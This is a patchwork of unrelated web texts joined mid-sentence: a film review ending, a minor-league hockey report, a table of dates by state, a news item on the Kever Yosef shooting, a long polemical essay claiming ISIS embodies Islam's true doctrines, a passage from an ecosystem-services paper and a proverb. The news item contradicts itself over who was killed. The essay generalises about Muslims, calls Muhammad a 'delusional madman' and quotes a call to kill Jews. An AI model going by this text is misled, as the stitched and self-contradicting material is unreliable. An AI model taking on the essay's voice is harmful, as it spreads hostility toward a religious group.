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Nevertheless, Shapiro's and Bardella's insights and others help “Bannon’s War” explain why Bannon continues to wield influence in the White House and with Trump’s supporters and slice through reports that the chief strategist has fallen out of favor with Trump and could be on his way out of the White House.
Visuals from Trump’s journey to and from a rally in Pennsylvania, marking his first 100 days in office, indicate otherwise. “Bannon’s War” closes with these images, perhaps doubling as a warning. Alarming though that may be, Kirk’s decision to end the hour here signals that this story is far from over. Perversely it may also make a viewer anxious to see which political developments inspire the filmmaker’s next sobering work.The Iowa Wild recalled goaltender Johan Gustafsson from the Alaska Aces of the ECHL on Sunday. That recall followed immediately on the heels of the recall of Darcy Kuemper to the Minnesota Wild following his conditioning stint with Iowa.
Gustafsson, like Kuemper, has had his share of struggles this year and a stint at a lower level was hoped to be a stepping stone toward more consistent and confident play. While Kuemper’s stint in the AHL didn’t go great, Gustafsson had an ok stint in the ECHL. Gus went 3-1, improving as the stay went along. He finished with a.908 Sv%.
It’s not a save percentage we’re stopping presses over, but, as I’ve said many times at GPW, we aren’t looking for Gustafsson to be a NHL caliber goaltender next week (though the team would love that, there isn’t even room for the team to bring him up to the NHL). What we need to see from Gustafsson is improvement. Signs that he’s developing and that he could continue to develop into something that the Wild could rely on in a back-up capacity at the NHL level, at a minimum.
There’s been some reason for hope and this isn’t bad either. Gustafsson didn’t need to pitch four shutouts in Anchorage, he just needed to turn in some performances to build in. In his last two games — both wins — he stopped 28 of 30 for a.933 Sv% and then 27 of 28 for a.964 Sv%. Those are both very strong performances in games that were wide open and fast-paced. (Final scores: 7-2 and 6-1.) The second game was also the second in a back-to-back, something Gustafsson has struggled with.
All goaltenders will struggle in that situation, but Gustafsson will have to take the time given to him in those rough starts to prove something. It’s just a part of how the AHL schedule works. If he wants to be the guy for Iowa, he has to be better in those difficult starts.
Gustafsson, though the personal victories have been asterisked this season, needs to keep building on how he’s improved throughout the season. He may find his way back between the pipes for Iowa as early as Tuesday when the Wild take on the Hamilton Bulldogs on the road. If not then, he’s likely to see some time in the back-to-back coming up over the weekend against the Texas Stars in Des Moines.State Date Notes
France February 6, 1778
Netherlands April 19, 1782
Spain February 20, 1783
Sweden April 3, 1783
Papal States December 15, 1784
Prussia September 18, 1785
Free City of Hamburg June 17, 1790
Portugal May 13, 1791
Republic of Genoa October 25, 1791
Denmark June 9, 1792
Bremen May 28, 1794
Grand Duchy of Tuscany May 29, 1794 Anywhere from May 29, 1794 through December 7, 1796
Tunisia March 28, 1795 Some time in mid-1795
Algeria September 5, 1795
Kingdom of Naples May 20, 1796
Tripoli November 4, 1796
Austria January 1, 1797 Month and day unspecified
Kingdom of Piedmont-Sardinia January 1, 1802 Month and day unspecified
Russia October 28, 1803
Grand Duchy of Mecklenburg-Schwerin January 22, 1816
Kingdom of Württemberg November 21, 1825
Grand Duchy of Hesse May 14, 1829
Oldenburg December 2, 1829
Kingdom of Hanover January 8, 1830
Ottoman Empire February 11, 1830
Baden July 13, 1832
Bavaria July 4, 1833
China June 16, 1844
Nassau May 27, 1846
Duchy of Brunswick-Lüneburg April 5, 1848
Duchy of Parma June 1850
Iran June 28, 1850
Schaumburg-Lippe June 16, 1852
Grand Duchy of Mecklenburg-Strelitz December 2, 1853
Japan March 31, 1854
Ryukyu Kingdom July 11, 1854
Orange Free State December 22, 1871Palestinian Authority Arabs set fire to Kever Yosef near Shechem Sunday morning several hours after PA policemen gunned down Jewish worshippers, killing one of them. Eyewitnesses saw smoke billowing over the tomb, which Arabs have frequently desecrated in the past.
The murder victim, 24-year-old Ben Yosef Chai, a nephew of Likud Minister Limor Livnat, was buried Sunday afternoon, several hours before the beginning of the last day of the seven-day Passover holiday Sunday evening.
PA police killed Livnat and wounded four others by opening fire on their cars after they prayed at Kever Yosef and were
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in the core doctrines, texts and practices of Islam, which I will show that you can, then you can’t say that ISIS are un-Islamic, because such scrupulous adherence to scripture represents the perfection of Islam.
Following ISIS’ beheading of Herve Gourdel in Algeria, thousands of French Muslims protested against this cruel and cowardly act. Anti-ISIS hashtags began to trend on twitter (#NotInMyName) and the French Council of the Muslim Faith released the following statement:
“This gathering is the strong and vibrant expression of our desire for national unity and of our unwavering will to live together” [4]
As sincere as these protests and this peaceful statement were, they contradict some of the core doctrines of Islam.
They but wish that ye should reject Faith, as they do, and thus be on the same footing (as they): But take not friends from their ranks until they flee in the way of Allah (From what is forbidden). But if they turn renegades, seize them and slay them wherever ye find them; and (in any case) take no friends or helpers from their ranks. Qur’an 4:89
Standing in opposition to the noble sentiments expressed by the French Council of the Muslim Faith, Dr. Ahmad Abu Halabiya enunciated the correct Quranic position on befriending non-Muslims, saying:
“Allah the almighty has called upon us not to ally with the Jews or the Christians, not to like them, not to become their partners, not to support them, and not to sign agreements with them. And he who does that is one of them, as Allah said: ‘0 you who believe, do not take the Jews and the Christians as allies, for they are allies of one another. Who from among you takes them as allies will indeed be one of them’... Have no mercy on the Jews, no matter where they are, in any country. Fight them, wherever you are. Wherever you meet them, kill them.” [5]
Before illustrating the scripturally accurate conduct of ISIS, I should point out that this Frenchman, Herve Gourdel, was an infidel (non-Muslim).
So, what does the Qur’an teach in this regard?
Fighting is prescribed for you, and ye dislike it. But it is possible that ye dislike a thing which is good for you, and that ye love a thing which is bad for you. But Allah knoweth, and ye know not. Qur’an 2:216
Fight in the way of Allah, and know that Allah is Hearer, Knower. Qur’an 2:244
To allay any concerns that I have misconstrued or mischievously misrepresented these verses, let’s turn to the one place where we can discover what fighting in the way of Allah entails, the Qur’an.
Surely Allah has bought of the believers their persons and their property for this, that they shall have the garden; they fight in the way of Allah, so they slay and are slain. Qur’an 9:111
It is clear that fighting in the way of Allah means physically fighting, killing and being killed, and this is just one of the ways in which the criminals of ISIS are truer to the Qur’an than the peaceful majority of the 1.6 billion Muslims living on the earth today.
Why does the Qur’an encourage Muslims to fight non-Muslims? Do these violent exhortations exclusively relate to given historical circumstances, or is there an everlasting religious reason at the root of these calls to Jihad?
The second chapter of the Qur’an sets out the central purpose for fighting infidels, and it is preceded by the following verse:
Slay them wherever you may catch them and expel them from the place from which they expelled you. The sin of disbelief in God (fitnah) is greater than committing murder. Do not fight them in the vicinity of the Sacred Mosque in Mecca unless they start to fight. Then slay them for it is the recompense that the disbelievers deserve. Qur’an 2:191
Let’s perform a quick exegesis of this verse before moving on to look at the central reason for fighting infidels.
Slay them (non-Muslim pagans) wherever you may catch them and expel them from the place from which they expelled you – The opening part of the verse is speaking about the pagans who, according to Muslim historians, were oppressing the Muslim community in Mecca. [6] It is clear that this part of the verse commands Muslims to slay the disbelievers, not defensively, but offensively, wherever they may catch them. The second part of this sentence sets up an additional requirement for the wanton slaughter of infidels, namely, to expel the pagans from the places that these pagans had previously expelled the Muslims. The aggression in this part of the sentence is defensive, but it is separate from, and in addition to, the offensive strategy encouraged in the first part of the sentence.
The sin of disbelief in God (fitnah) is greater than committing murder – This statement underscores the ethos of the central doctrines of Islam, i.e. that disbelief in Allah is a greater crime than murdering people in “his” name. Not only does such a teaching thwart the natural moral compass of the believer, who would, absent this belief, probably not be inclined to kill people for believing things that they did not, or conversely, for disbelieving things that they believed, but it underscores the precise ethos of ISIS.
Do not fight them in the vicinity of the Sacred Mosque in Mecca unless they start to fight – Here is the aspect of this verse that apologists employ to argue that; a) Muslims are only permitted to fight in self-defence, and b) that this verse is restricted to a specific historical context.
Firstly, note that this defensive strategy is exclusively restricted to fighting in the holy places in Mecca, and doesn’t extend to other places (wherever you may catch them). Nor does this part of the verse infringe upon the idea that disbelief in Allah is worse than murder. Finally, the historical context argument is entirely vacuous and let me draw upon a relevant analogy to explain why.
The Qur’an is allegedly the perfect word of the perfect god, Allah. It is believed to be completely infused with his everlasting advice to Muslims, and further, it is believed to be applicable in its entirety. Thus, these tales perform a similar function to various charter myths found in all religions; they justify rites, rituals and certain codes of conduct and in this way, they act in the same way as legal precedents. Arguing that the historical context restricts the application of violent proclamations prescribed in the Qur’an is akin to arguing that the landmark case of Roe v. Wade (1973) is irrelevant to legal issues surrounding abortion and women’s rights in 2015.
Then slay them for it is the recompense that the disbelievers deserve – Then (if the pagans fight you at the holy places in Mecca) is obviously defensive, but it only applies to fighting in the holy places, and the additional statement, for it is the recompense that the disbelievers deserve reinforces the previous statement, ‘disbelief in God is worse than murder.’
Now that we have that little exegesis out of the way, let’s look at the core reason why Muslims are commanded to fight and kill infidels. Verse 2:193 clarifies the central justification for killing infidels.
Fight them (non-Muslim pagans) until there will be no disbelief in God [fitnah] and until God’s [Allah’s] religion [Islam] will become dominant. If they change their behaviour, there would be no hostility against anyone except the unjust. Qur’an 2:193
The central purpose for fighting non-Muslims is to spread the religion of Islam until it dominates all other faiths and completely eradicates non-belief. But what about the final sentence, if they change their behaviour, there would be no hostility against anyone except the unjust? What behaviour? Was it the oppression of Muslims in Mecca or the refusal to submit to Islam? Well, to answer this question we need only refer to the previous verse (2:191), that commands Muslims to slay them (non-Muslims) wherever you find them, that disbelief in Allah is worse than murder, and that death is the recompense for those that disbelieve, for such recompense, we may logically conclude, is surely only applicable for the bad behaviour of disbelief, and of practicing faiths other than Islam; hence, those that perform this behaviour are to be slain wherever they are found. In addition, we must ask, how does the Qur’an distinguish between those who are just and those who are unjust? The Qur’an permits the slaughtering of the unjust, but can one be just and still stubbornly refuse to acknowledge the alleged supremacy of Allah and his mightiest prophet?
And who is more unjust than he who forbids that in places for the worship of Allah, Allah’s name should be celebrated?-whose zeal is [in fact] to ruin them? It was not fitting that such should themselves enter them except in fear. For them there is nothing but disgrace in this world, and in the world to come, an exceeding torment. Qur’an 2:114
Who is more unjust than those who conceal the testimony they have from Allah? But Allah is not unmindful of what ye do! Qur’an 2:140
Thus was he confounded who [in arrogance] rejected faith. Nor doth Allah Give guidance to a unjust people [those who reject Islam]. Qur’an 2:258
If you read through the Qur’an, you’ll see that the author(s) makes it abundantly clear that there is no such thing as a just non-Muslim, so when chapter 2 verse 193 says; no hostility against anyone except the unjust, it is setting forth an edict that encourages, nay prescribes, an everlasting jihad against all those who reject Islam.
Peaceful Verses Versus Violent Verses & Jihad
There are many verses within the Qur’an that encourage violence against non-Muslims. The most popular violent verse is dubbed the ‘verse of the sword.’ [7] There is ongoing debate over whether these violent verses, which were added to the Qur’an later on, as the alleged angry afterthoughts of an all-knowing Allah, abrogate [nullify] the peaceful verses, or whether they are subordinate to their more peaceful predecessors. I’ll return to this issue, but needless to say, ISIS, along with the majority of Islamic states take the view that religious infidelity, blasphemy and apostasy should all be regulated by sword-like verses, and to prove this we need only look at the barbaric and petulant penal codes and general jurisprudence in countries like Pakistan, which prescribes the death penalty for blasphemy[8]; Saudi Arabia, the literal Mecca of Islam, an Islamic state that murders homosexuals, apostates and “witches,” as well as committing other grisly human rights violations in accordance with violent verses from the Qur’an and the cruel exhortations from the secondary pillar of Islam, the Hadith. [9]
The verse of the sword is found in Surah (chapter) Nine, and it reads as follows:
And when the sacred months have passed, then kill the polytheists [unbelievers/idolaters] wherever you find them and capture them and besiege them and sit in wait for them at every place of ambush. But if they should repent (convert to Islam), establish prayer, and give zakah (compulsory payment of money), let them go on their way. Indeed, Allah is Forgiving and Merciful. Qur’an 9:5
In a bid to defend this and other equally violent verses, some Muslim and Western apologists claim that it is specific to a certain historical context, one that no longer applies today. However, notwithstanding the obvious precedence that such verses establish, the historical context and its application over the centuries shed some very disturbing light on these inhumane teachings. If one examines this verse in its broader Qur’anic context, and couples such an examination with a thorough investigation of the historical context in question, it becomes clear that such verses were intended to be a call to violent Jihad against all non-Muslims, past and present. [10]
Defenders of Islam often argue that Jihad is a purely spiritual struggle against “evil,” and to support this proposition they rely on verses like the following:
O ye who believe! Take not for protectors your fathers and your brothers if they love infidelity above Faith: if any of you do so, they do wrong.Say: If it be that your fathers, your sons, your brothers, your mates, oryour kindred; the wealth that ye have gained; the commerce in which ye fear adecline: or the dwellings in which ye delight – are dearer to you than Allah, orHis Messenger, or the striving [jihad] in His cause; then wait until Allah brings aboutHis decision: and Allah guides not the rebellious. Qur’an 9:23-24
The jihad mentioned above has little to do with holy war; instead, it describes the internal struggle to remain faithful to Islam in the face of familial ties with infidels. As an aside, this divisive conversion and faith-maintenance strategy also appears in the Christian gospels, with “Jesus” having allegedly said:
If any man come to me, and hate not his father, and mother, and wife, and children, andbrethren, and sisters, yea, and his own life also, he cannot be my disciple. Luke 14:26
These “revelations” would have been extremely important in the early stages of the religion, for if only a son or a daughter belonged to the religion, which would have been quite common in its formative years, they would have been compelled by such manipulative teachings to reject their families and embrace the fledgling religion.
There are numerous other verses in the Qur’an that accommodate a peaceful interpretation of Jihad, but to suggest that they supersede the more violent ones, is to ignore a very large body of Islamic scholarship on Jihad, [11] not to mention the historical context provided by their application over the centuries.
Proponents of a purely peaceful Jihad fail to highlight, either out of ignorance or ‘taqiyya’ (deceit in defence of the faith), [12] that the concept of Jihad is multifaceted. I will address the source of this complexity in a moment, however, if Jihad were merely a spiritual struggle and not, at least in one regard, a violent call to arms in the name of Allah, how would one go about explaining the fact that women, children and the elderly are all excused from performing Jihad? (See Qur’an 9:46)
In classical Islamic law, Jihad, which loosely translates as ‘struggle,’ described (and still describes) the struggle of Muslims, whose duty it is to wage war against all those who have yet to submit to their religion. [13]
Discussing Jihad in the Medinan phase of Muhammad’s conquests, Chase F. Robinson of Cambridge University says:
Jihad (the struggle on behalf of God, which in this context meant nothing more or less than fighting on His behalf) was at the centre of Muhammad’s programme. [14]
Further, discussing the conquests of Mahmud of Ghazni, the Muslim who conquered the eastern lands of Iran and the north-western Indian sub-continent in the tenth and eleventh centuries, Robinson says:
Like his older contemporary in al Andalus, al Mansur ibn Abı Amir, he used the jihad as a way to legitimise political authority acquired by brute force. [15]
Returning to the Qur’an, Surah 4 Ayat (verse) 95 says that those who go to war in the name of Allah (perform Jihad) will be rewarded over and above those who stay at home and remain peaceful. The verse reads:
Not equal are those believers who sit (at home) and receive no hurt, and those who strive and fight in the cause of Allah with their goods and their persons. Allah hath granted a grade higher to those who strive and fight with their goods and persons than to those who sit (at home). Unto all (in Faith)(614) Hath Allah promised good: But those who strive and fight Hath He distinguished above those who sit (at home) by a special reward… Qur’an 4:95
This verse was allegedly reiterated by Muhammad:
Narrated Abu Huraira: The Prophet said, “The person who participates in (Holy battles) in Allah’s cause and nothing compels him to do so except belief in Allah and His Apostles, will be recompensed by Allah either with a reward, or booty (if he survives) or will be admitted to Paradise (if he is killed in the battle as a martyr). Had I not found it difficult for my followers, then I would not remain behind any sariya (military unit) going for Jihad and I would have loved to be martyred in Allah’s cause and then made Alive, and then martyred and then made alive, and then again martyred in His cause.” Sahih al-Bukhari 2:1:35
Performing a scholarly exegesis on Surah 4 Ayat 95, the Muslim scholar responsible for compiling ‘The Meaning of the Noble Qur’an,’ says:
In a time of jihad, when people give their all, and even their lives, for the common cause, they must be accounted more glorious than those who sit at home, even though they have goodwill to the cause and carry out minor duties in aid. The special reward of such self-sacrifice is high spiritual rank, and special forgiveness and mercy, as proceeding from the direct approbation and love of Allah. [16]
Further, one of the most respected and renowned Islamic scholars, Ismail Ibn Kathir, commented on the obligatory nature of Jihad in the following words:
In this Ayah, Allah made it obligatory for the Muslims to fight in Jihad against the evil of the enemy who transgress against Islam. Az-Zuhri said, “Jihad is required from every person, whether he actually joins the fighting or remains behind. Whoever remains behind is required to give support, if support is warranted; to provide aid, if aid is needed; and to march forth, if he is commanded to do so. [17]
Discussing jihad in relation to the exclusivist claims to truth made in the Qur’an, the hadith, and reiterated by the majority of Muslim scholarship, and Islamic history, the scholars responsible for compiling the Cambridge Companion to the Qur’an note:
From the standpoint of political organisation, exclusivist claims were effective in providing a legitimating and integrative discourse that could furnish members of the community with a reliable means to assert their collective and political identity. In addition, the newly fostered socio-political identity provided an effective basis for aggression and for exploitation of those who did not share this sense of solidarity with the dominant community of believers. Rationalisation of the aggression, characterised in religious terms as a ‘holy war’ (jihad), made it possible for the more powerful community to impose its hegemony over the ‘infidels’ by use of force in the name of some sacred authority. [18]
Despite the obvious violence inherent in the concept of Jihad and the violent verses it rests upon, apologists, as sincere as their misguided misapplications of scripture may well be, point to more peaceful verses in the Qur’an in order to circumvent valid criticism of Islam.
Here are some of the more peaceful verses:
Let there be no compulsion in religion: Truth stands out clear from Error:whoever rejects evil and believes in Allah hath grasped the most trustworthyhand-hold, that never breaks. And Allah heareth and knoweth all things. Qur’an 2:256
Say: O ye that reject Faith! I worship not that which ye worship, Nor will ye worship that which I worship. And I will not worship that which ye have been wont to worship, Nor will ye worship that which I worship. To you be your Way, and to me mine. Qur’an 109:1-6
Fight in the cause of Allah those who fight you, but do not transgresslimits; for Allah loveth not transgressors. Qur’an 2:190
Another peaceful verse in the Qur’an that encourages Muslims to forgo fighting and emigrate if faced with oppression and violence, reads:
When angels take the souls of those who die in sin against their souls, they say: “In what [plight] Were ye?” They reply: “Weak and oppressed Were we in the earth.” They say: “Was not the earth of Allah spacious enough for you to move yourselves away [From evil]?” Such men will find their abode in Hell – What an evil refuge! Qur’an 4:97
These and other equally noble verses from the Qur’an are sincerely adhered to by the majority of peaceful Muslims living today, however, as with Christians and members of most faiths, the average Muslim is woefully ignorant of the textual, theological and historical scholarship that dictate the correct application of such verses in relation to the more violent and intolerant ones.
Abrogation (Nas’kh) – War Verses Versus Peaceful Verses
There are clear contradictions between the noble and peaceful verses in the Qur’an and their more violent and dangerous counterparts. On the one hand, the Qur’an advocates tolerance and on the other, in exactly the same circumstances, it encourages violence. So how does one go about reconciling these contradictions? More importantly, for the correct application of scripture, how have the majority of Muslim scholars, for the majority of the history of Islam, gone about reconciling these contradictions?
To answer these questions we must first acquire some historical context. The alleged revelations compiled in the Qur’an are divided into two primary categories – Meccan and Medinan. They are divided in this way because Muhammad allegedly received his first revelations in Mecca, in somewhat peaceful circumstances, and he later received revelations in Medina, in the midst of war. [19] Naturally, the more peaceful chapters and verses generally fall under the Meccan category, while the violent ones belong to the later Medinan class. [20]
The majority opinion regarding which category of verses apply today has been fixed for centuries, justified by the Qur’an, and clearly demonstrated by the violent propagation of the Islamic religion over the centuries.
None of Our revelations do We [Allah] abrogate or cause to be forgotten, but We substitute something better or similar: Knowest thou not that Allah Hath power over all things? Qur’an 2:106
When We substitute one revelation for another,- and Allah knows best what
He reveals [in stages]- they say, “Thou art but a forger”: but most of them understand not. Qur’an 16:101
These verses form the foundation of the Islamic doctrine of Nas’kh (abrogation) and it is of central importance to the application of violent verses over non-violent ones.
With regards to the abrogation of peaceful Meccan verses and the supremacy of the violent verse of the sword (Qur’an 9:5), the Cambridge Companion to the Qur’an says:
An interesting instance of such categorisation is the verse to which Ibn al-Jawz refers, ‘the verse of the sword’. This is the name given to Q 9:5, a verse that begins, ‘And when the sacred months have passed, kill the idolators wherever you find them...’ According to one of the standard treatises on this topic, Q 9:5 abrogates at least 124 other [peaceful] verses, the last of which is Q 109:6 [To you be your Way, and to me mine.]. [21]
Further, in Robert Spencer’s Politically Incorrect Guide to Islam (And the Crusades), he remarks on the mainstream Islamic scholarship on the issue of abrogation in the following words:
Tafsir al -JaIalayn, a commentary on the Qur’an by the respected imams Jalal al -Din Muhammad ibn Ahmad al -Mahalli (1389-1459} and Ja lal al -Din ‘Abd al-Rahman ibn Abi Bakr al-Suyuti (1445-1505), asserts that the ninth sura “was sent down when security was removed by the sword.”‘ Another mainstream and respected Qur’an commentator, Ismail bin `Amr bin Kathir al Dimashqi (1301-1372), known popularly as Ibn Kathir, declares that sura 9:5 “abrogated every agreement of peace between the Prophet and any idolater, every treaty, and every term…No idolater had any more treaty or promise of safety ever since Surah Bara’ah [the ninth sura] was revealed.” Ibn Juzayy (d. 1340), yet another Qur’an commentator whose works are still read in the Islamic world agrees: The Verse of the Sword’s purpose is “abrogating every peace treaty in the Qur’an. “” [22]
Thus, both the majority opinion amongst Muslim scholars and the history of Islam testify to the true relationship between peaceful verses and their violent substitutes. This frightening fact provides ISIS with Qur’anic justification for their vile beheadings and their violent jihad in general.
When your Lord revealed to the angels: I am with you, therefore make firm those who believe. I will cast terror into the hearts of those who disbelieve. Therefore strike off their heads and strike off every fingertip of them. Qur’an 8:12
The Murderous Muhammad of the Hadith
ISIS isn’t only performing the violent practices encouraged by the Qur’an, but they are also bringing the violence in the secondary pillar of Islam to life. To provide you with some context, the hadith are a collection of manuscripts that are said to record the sayings and doings of Muhammad and his contemporaries. They are graded on a scale from least reliable to most reliable. The most reliable hadith are called Sahih (authentic/reliable) hadith and the two primary hadith in this regard are the Sahih al-Bukhari and the Sahih al-Muslim. These and other hadith provide historians and Muslims with a lot of biographic material on Muhammad, although it must be acknowledged that even the Sahih hadith are plagued with historical problems. [23] Notwithstanding these serious problems, the hadith are regarded as the secondary pillar of Islam, and as such, they are believed to be a wellspring of information about Islam’s founder. Another fact that must be understood when looking at ISIS’ conduct and comparing it to Muhammad’s behaviour in the hadith, is that there are numerous verses throughout the Qur’an that encourage Muslims to follow the example set by Muhammad.
The following verse is one such example:
Ye have indeed in the Messenger of Allah a beautiful pattern [of conduct] for anyone whose hope is in Allah and the Final Day, and who engages much in the Praise of Allah. Qur’an 33:21
Commenting on this verse, renowned Muslim scholar, Sayyid Maududi, says:
He [Muhammad] was always in the forefront to offer maximum sacrifices for the great objectives for which he was constantly asking others to make sacrifices. Therefore, whoever made a claim of being his follower should have followed the practical example set by the leader.
This is the meaning of the verse in the context here. But its words are general and there is no reason why it should be confined to these meanings only. Allah does not. say that only in this respect His Messenger’s life is a model for the Muslims to follow, but has regarded it as a model absolutely. Therefore, the verse demands that the Muslims should take the Holy Prophet’s life as a model for themselves in every affair of life and should mold their character and personality according to it. [24]
So, if Muslims are encouraged to follow Muhammad’s example “in every affair of life and should mold their character and personality according to it,” we must ask a very obvious question:
What example did Muhammad set for his followers?
According to one collection of hadith (Ishaq), when Muhammad returned from his raid on Ta’if, word spread that he had killed some of the men who had satirized and insulted him. The poets who were left spread in all directions (Ishaq:597).
Drawing upon this same collection of hadith:
Allah said, ‘A prophet must slaughter before collecting captives. A slaughtered enemy is driven from the land. Muhammad, you craved the desires of this world, its goods and the ransom captives would bring. But Allah desires killing them to manifest the religion.’ Ishaq:327
Another example of Muhammad’s conduct from this collection of hadith describes the assassination of a Jewish poet who had made critical remarks about Muhammad.
After hearing about this critic, Muhammad is recorded to have said, “Who will deal with this rascal for me?”
Following the call to assassinate Abu Afak, Salim b. Umayr, brother of B. Amr b. Auf, one of the “weepers”, went forth and killed him. Ishaq:675
Angered by the murder of Abu Afak, ‘Asma’ (daughter of) Bint Marwan, made insulting (accurate) remarks about Muhammad’s savagery and encouraged the non-Muslims to rebel against Muhammad’s medieval ISIS-like organization. For these acts of bravery she was murdered. The event is recorded in the following words:
When the apostle heard what she had said he said, “Who will rid me of Marwan’s daughter?” `Umayr b. `Adiy al-Khatmi who was with him heard him, and that very night he went to her house and killed her. In the morning he came to the apostle and told him what he had done and he [Muhammad] said, “You have helped God and His apostle, O `Umayr!” Ishaq:675
From the collection of hadith compiled by Muhammad Ibn Jarir al-Tabari, called al-Tabari, it is reported that Muhammad had a man tortured and killed for treasure. The account reads as follows:
Kinanah b. al-Rabi b. al-Huqyaq who had the treasure of B. Nadir was brought to the Messenger of God, who questioned him; but he denied knowing where it was. Then the messenger of God was brought a Jew who said to him, “I have seen Kinanah walk around this ruin every morning.” The Messenger of God said to Kinanah: “What do you say? If we find it in your possession, I will kill you.” “All right,” he answered. The Messenger of God commanded that the ruin should be dug up, and some of the treasure was extracted from it. Then he asked him for the rest of it. Kinanah refused to surrender it; so the Messenger of God gave orders concerning him to al-Zubayr b. al-‘Awwam, saying, “torture him until you root out what he has.” Al-Zubayr kept twirling his firestick in his breast until Kinanah almost expired; then the Messenger of God gave him to Muhammad b. Maslamah, who beheaded him to avenge his brother Mahmud b. Maslamah.” al-Tabari Vol. 8, p. 123.
Turning now to the Sahih Bukhari, remembering that Sahih hadiths are considered the most reliable accounts of Muhammad, we read:
“Eight persons from the tribe of ‘Ukl came to Allah’s Apostle and gave the Pledge of allegiance for Islam (became Muslim). The climate of the place (Medina) did not suit them, so they became sick and complained about that to Allah’s Apostle. He said (to them), “Won’t you go out with the shepherd of our camels and drink of the camels’ milk and urine (as medicine)?” They said, “Yes.” So they went out and drank the camels’ milk and urine, and after they became healthy, they killed the shepherd of Allah’s Apostle and took away all the camels. This news reached Allah’s Apostle, so he sent (men) to follow their traces and they were captured and brought (to the Prophet). He then ordered to cut their hands and feet, and their eyes were branded with heated pieces of iron, and then he threw them in the sun till they died.” I said, “What can be worse than what those people did? They deserted Islam, committed murder and theft.”… Sahih al-Bukhari 9:83:37
Muhammad ordered the deaths of numerous people who had crossed him and his religion, whether the victim’s crimes were serious or trivial, Muhammad had many people assassinated and executed. Although I have only given a few examples, if you read the various hadith, you’ll find a pattern of insane barbarism committed at the behest of this delusional madman. Allow me to offer one final example of Muhammad’s murderous rampage.
In this shocking account, Muhammad raped a 17-year-old Jewish girl on the same day that he had her family, including her newly-wedded husband mentioned above (Kinanah b. al-Rabi b. al-Huqyaq), tortured and beheaded. The Sahih al-Bukhari reports:
When he entered the town, he said, ‘Allahu Akbar! Khaibar is ruined…We conquered Khaibar, took the captives, and the booty was collected. Dihya came and said, ‘O Allah’s Prophet! Give me a slave girl from the captives.’ The Prophet said, ‘Go and take any slave girl.’ He took Safiya bint Huyai. A man came to the Prophet and said, ‘O Allah’s Apostles! You gave Safiya bint Huyai to Dihya and she is the chief mistress of the tribes of Quraidha and An−Nadir and she befits none but you.’ So the Prophet said, ‘Bring him along with her.’ So Dihya came with her and when the Prophet saw her, he said to Dihya, ‘Take any slave girl other than her from the captives.’ Anas added: The Prophet then manumitted her and married her.” Sahih al-Bukhari 1:367
The Bukhari continues this story in volume five, reporting:
We arrived at Khaibar, and when Allah helped His Apostle to open the fort, the beauty of Safiya bint Huyai bin Akhtaq whose husband had been killed while she was a bride, was mentioned to Allah’s Apostle. The Prophet selected her for himself, and set out with her, and when we reached a place called Sidd−as−Sahba,’ Safiya became clean from her menses then Allah’s Apostle married her. Sahih al-Bukhari 5:522
Rape
Rape and brutality toward women have become hallmarks of ISIS’ Islamic jihad. One of the most famous incidents in recent times involved a young Yazidi girl who had been forced into sex slavery, or as the Qur’an would put it, placed within the reach of the right hand of her captors. On one occasion, it is alleged that this girl managed to get a phone call out to rebel fighters and in a BBC report, Karam reported on the contents of her call, in which she was alleged to have said:
“If you know where we are please bomb us…There is no life after this. I’m going to kill myself anyway – others have killed themselves this morning…I’ve been raped 30 times and it’s not even lunchtime. I can’t go to the toilet. Please bomb us.” [25]
Other equally shocking sexual crimes have been reported by major News outlets, from the raping of girls as young as six, to the rape and abduction of women as “spoils of war.” [26]
To understand how ISIS’ heinous mistreatment of women is completely compatible with the core doctrines of Islam, you must first understand that marriage in the Qur’an is a very misogynistic institution and sadly, rape is an acceptable part of this patriarchal parcel for male members of the faith. Again, I must stress that I am not saying that most Muslim marriages are plagued with misogyny, but that the doctrines of Islam do not afford women the general compassion displayed by loving Muslim husbands, who cherry pick from the Qur’an and hadith.
Here are some examples from the Qur’an:
Men are the managers of the affairs of women for that God has preffered in bounty one of them (men) over the another (women), and for that they expended of their (men’s) property. Righteous women are therefore obedient, guarding the secret for God’s guarding. And those that you fear may be rebellious admonish; banish them to their couches, and beat them. If they then obey you, look not for any way against them; God is All-high, All-great. Qur’an 4:34
Your wives are as a tilth unto you; so approach your tilth when or how ye will; but do some good act for your souls beforehand; and fear Allah. And know that ye are to meet Him (in the Hereafter), and give (these) good tidings to those who believe. Qur’an 2:223
If ye fear that ye shall not be able to deal justly with the orphans, Marry women of your choice, Two or three or four; but if ye fear that ye shall not be able to deal justly (with them), then only one, or (a captive) that your right hands possess [captives in Jihad]. Qur’an 4:3
Who abstain from sex, except with those joined to them in the marriage bond, or (the captives) whom their right hands possess– for (in their case) they are free from blame… Qur’an 23:5-6
The idea that men are permitted to force their wives to obey them, to possess slave girls, and do with them as they please, is a terrifyingly misogynistic and barbaric idea indeed. Most Muslim men don’t take advantage of these allowances, but unfortunately, many do – for not only does the Qur’an permit men to rape their wives and their sex-slaves, but the “perfect example of righteousness,” Muhammad, was also reported to have set such an example. We saw above that Muhammad had no problem accepting women as rewards for murder, but what was his philosophical position on raping captives?
Rape & Coitus Interruptus (Withdrawal at the point of ejaculation)
From the Sahih Bukhari we read:
Narrated Ibn Muhairiz: I entered the Mosque and saw Abu Said Al-Khudri and sat beside him and asked him about Al-Azl (i.e. coitus interruptus). Abu Said said, “We went out with Allah’s Apostle for the Ghazwa of Banu Al-Mustaliq and we received captives from among the Arab captives and we desired women and celibacy became hard on us and we loved to do coitus interruptus. So when we intended to do coitus interrupt us, we said, ‘How can we do coitus interruptus before asking Allah’s Apostle
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priorities [56, 57].
Conclusions Vegetation-regulated Moisture Recycling (VMR) is an ecosystem service. We have demonstrated a method for quantifying this at global and regional scales, where vegetation regulates the atmospheric branch of the water cycle, specifically evaporation and precipitation. We have also provided a broadly applicable framework for incorporating VMR into existing ecosystem services assessments. This is very important given that the use of ecosystem services has become a cornerstone of natural resource management and sustainability efforts. Framing the regulation of atmospheric moisture as an ecosystem service that is both influenced by humans and has the potential to impact downwind human societies, can improve future analyses of ecosystem services related to hydrological change, large-scale land-use change, and land-atmosphere tele-connections.
Acknowledgments The research for this was supported by The Swedish Research Council Formas, under grant number 1364115. Auxiliary support was provided by Scott Denning and the BioCycle Group at Colorado State University. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript.
Author Contributions Conceived and designed the experiments: PK. Performed the experiments: PK. Analyzed the data: PK. Contributed reagents/materials/analysis tools: PK LW. Wrote the paper: PK LW LG.This is an adaptation of an old saying “A bird in the hand is worth two in the bush”. In modern day thought, this means that it is better to have a sure thing than to risk the sure thing for more.
